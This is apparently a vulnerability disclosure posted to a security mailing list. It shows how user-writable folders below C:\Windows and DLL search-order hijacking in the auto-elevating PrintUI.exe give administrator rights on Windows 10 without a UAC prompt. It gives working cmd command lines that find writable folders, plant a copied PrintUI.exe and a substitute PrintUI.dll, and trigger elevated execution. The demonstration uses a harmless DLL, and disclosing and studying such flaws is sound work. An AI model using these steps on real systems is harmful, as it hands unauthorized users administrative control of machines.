Hi @ll,

Microsoft still ships Windows with and lets it create user-writable
directories below the "Windows" directory %SystemRoot%\ -- despite
that, with exception of %SystemRoot%\Temp\, they are all used to
store DATA and SHOULD have been placed below %ProgramData% alias
%SystemDrive%\ProgramData\ instead!

JFTR: %ProgramData% was introduced with Windows Vista more than 15
      (in words: FIFTEEN) years ago, but Microsoft obviously just
      doesn't care to cleanup their mess.

Authenticode signature verification, for example required to color the
UAC prompt yellow (untrusted) or blue (trusted) and as precondition
for the "auto-elevation" (mis)feature of some 63+ applications shipped
with Windows 7 and ALL later versions, doesn't care about the filename
of an executable, but (eventually) evaluates the pathname of the
(application) directory.


Put together these two weaknesses allow to run arbitrary code WITH
administrative rights in several (user-writable) directories below
C:\Windows: in the account created during Windows setup without UAC
prompt, in (unprivileged) standard user accounts with (blue) UAC prompt!

CVSS 3.0 score: 8.2 (High)
CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


Demonstration
~~~~~~~~~~~~~

1. Log on to an arbitrary unprivileged (standard) user account and start
   the command processor, then run the following command lines to detect
   the user-writable directories below %SystemRoot%\ through creation of
   a hardlink named WRITABLE.EXE and collect their pathnames in the file
   %ProgramData%\WRITABLE.LOG:

   COPY /Y NUL: "%ProgramData%\WRITABLE.LOG" && (
   DIR "%SystemRoot%" /A:D /B /S 1>"%ProgramData%\WRITABLE.TMP" && (
   FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO @(
   MKLINK /H "%~?\WRITABLE.EXE" "%ProgramData%\WRITABLE.LOG" 2>NUL: && 1>>"%ProgramData%\WRITABLE.LOG" ECHO %~?))
   TYPE "%ProgramData%\WRITABLE.LOG")

   On fresh installations of Windows 10 2004/20H1/20H2 for AMD64 alias
   x64 processors this yields the following pathnames:

   C:\Windows\Tasks
   C:\Windows\Temp
   C:\Windows\tracing
   C:\Windows\Registration\CRMLog
   C:\Windows\System32\FxsTmp
   C:\Windows\System32\Tasks
   C:\Windows\System32\Com\dmp
   C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
   C:\Windows\System32\spool\PRINTERS
   C:\Windows\System32\spool\SERVERS
   C:\Windows\System32\spool\drivers\color
   C:\Windows\SysWOW64\FxsTmp
   C:\Windows\SysWOW64\Tasks
   C:\Windows\SysWOW64\Com\dmp

   On installations which were upgraded to (any version of) Windows 10,
   the following additional pathname is typically listed:

   C:\Windows\System32\Tasks_Migrated

   On installations which have been used for some time, the following
   additional pathnames are typically listed:

   C:\Windows\debug\WIA
   C:\Windows\PLA\Reports
   C:\Windows\PLA\Rules
   C:\Windows\PLA\Templates
   C:\Windows\PLA\Reports\de-DE
   C:\Windows\PLA\Reports\en-GB
   C:\Windows\PLA\Reports\en-US
   ...
   C:\Windows\PLA\Reports\ru-RU
   C:\Windows\PLA\Rules\de-DE
   C:\Windows\PLA\Rules\en-GB
   C:\Windows\PLA\Rules\en-US
   ...
   C:\Windows\PLA\Rules\ru-RU
   C:\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
   C:\Windows\System32\LogFiles\WMI


2. Let's see whether the hardlinks WRITABLE.EXE can be (ab)used: copy an
   arbitrary executable to all of them and execute it.

   JFTR: PrintUI.exe is one of the 63+ applications which have UAC auto-
         elevation enabled.

   SETLOCAL ENABLEDELAYEDEXPANSION
   COPY /Y "%ProgramData%\WRITABLE.LOG" "%ProgramData%\WRITABLE.TMP" && (
   COPY /Y "%SystemRoot%\System32\PrintUI.exe" "%ProgramData%\WRITABLE.LOG" && (
   FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO (
   START "" /WAIT "%~?\WRITABLE.EXE"
   ECHO !ERRORLEVEL!)))

   In unprivileged (standard) user accounts this triggers an UAC prompt
   for each file executed, some yellow, showing "Publisher: Unknown",
   some blue showing "Verified Publisher: Microsoft Windows".

   After giving consent to the UAC prompt a dialog box showing usage
   instructions for PrintUI.dll is displayed, indicating that (the copy
   of) PrintUI.exe loads PrintUI.dll:

   | Usage: rundll32 printui.dll,PrintUIEntry [options] [@commandfile]

   JFTR: since PrintUI.exe runs elevated, PrintUI.dll runs elevated too!


3. Let's verify the Authenticode signature of the copy of PrintUI.exe:

   SignTool.exe VERIFY /A /V "%ProgramData%\WRITABLE.LOG"

   | Verifying: C:\ProgramData\WRITABLE.LOG
   | File is signed in catalog: C:\Windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\ntexe.cat
   ...
   | Successfully verified: C:\ProgramData\WRITABLE.LOG
   ...

   Authenticode doesn't care about the path/filename of signed executables,
   even for files with detached signatures, although the *.CAT files used
   to distribute detached digital signatures can store the filename!


4. Let's see whether PrintUI.exe follows the guidance given by the MSRC
   (Microsoft Security Response Center) in the almost 7 year old blog post
   <https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>.
   the more than 10 year old security advisory
   <https://technet.microsoft.com/en-us/library/2269637.aspx>, or the nearly
   10 year old MSKB articles <https://support.microsoft.com/en-us/kb/2389418>
   and <https://support.microsoft.com/en-us/kb/2533623>: copy ShUnimpl.dll
   as PrintUI.dll next to the copy of PrintUI.exe and execute the latter.

   JFTR: ShUnimpl.dll is the graveyard for obsolete "shell" functions; its
         _DllMainCRTStartup() entry point function returns FALSE to disable
         their use, lets the module loader fail with NTSTATUS 0xC0000142
         alias STATUS_DLL_INIT_FAILED, and lets LoadLibrary() fail with the
         Win32 error 1114 alias ERROR_DLL_INIT_FAILED

   COPY "%SystemRoot%\System32\ShUnimpl.dll" "%ProgramData%\PrintUI.dll"
   RENAME "%ProgramData%\WRITABLE.LOG" PrintUI.exe
   START "" /WAIT "%ProgramData%\PrintUI.exe"
   CERTUTIL.exe /ERROR %ERRORLEVEL%

   OUCH: (the copy of) PrintUI.exe loads an arbitrary PrintUI.dll from its
         application directory instead of %SystemRoot%\System32\PrintUI.dll

   The Common Weaknesses and Exposures classifies such misbehavior, which
   results in arbitrary code execution (here with escalation of privilege),
   as
   - CWE-426: Untrusted Search Path
     <https://cwe.mitre.org/data/definitions/426.html>
   - CWE-427: Uncontrolled Search Path Element
     <https://cwe.mitre.org/data/definitions/427.html>

   The Common Attack Pattern Enumeration and Classification lists it as
   - CAPEC-471: Search Order Hijacking
     <https://capec.mitre.org/data/definitions/471.html>

   JFTR: (un)fortunately PrintUI.dll is not the only DLL that PrintUI.exe
         loads from an unsafe path, and (un)fortunately PrintUI.exe is not
         the only auto-elevating application which loads DLLs from unsafe
         paths!

   A really big "Hooray!" to Microsoft's sloppy, careless and clueless
   developers as well as their sound asleep quality^Wmiserability assurance!


5. Let's see whether UAC auto-elevation is also possible in at least one
   of the user-writable directories: log on to the UAC-controlled user
   account created during Windows setup, start an UNELEVATED (unprivileged)
   command prompt and run the following command lines:

   SETLOCAL ENABLEDELAYEDEXPANSION
   FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO (
   MKLINK /H "%~?\PrintUI.dll" "%ProgramData%\PrintUI.dll" && (
   START "" /WAIT "%~?\WRITABLE.EXE"
   ECHO !ERRORLEVEL!))

   BINGO: GAME OVER!

   UAC performs auto-elevation at least in the directories
   C:\Windows\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\
   and C:\Windows\System32\Tasks_Migrated\; a copy of PrintUI.exe run in
   these directories loads/executes an arbitrary PrintUI.dll placed there
   too, with ADMINISTRATIVE privileges, without UAC prompt.

   JFTR: even without UAC auto-elevation, this beginner's error present in
         PrintUI.exe (really: almost all applications shipped with Windows)
         allows to fool Jane and Joe Average who typically give consent to a
         blue UAC prompt which shows "Certified Publisher: Microsoft Windows".


stay tuned, and far away from Microsoft's eternally vulnerable crap!
Stefan Kanthak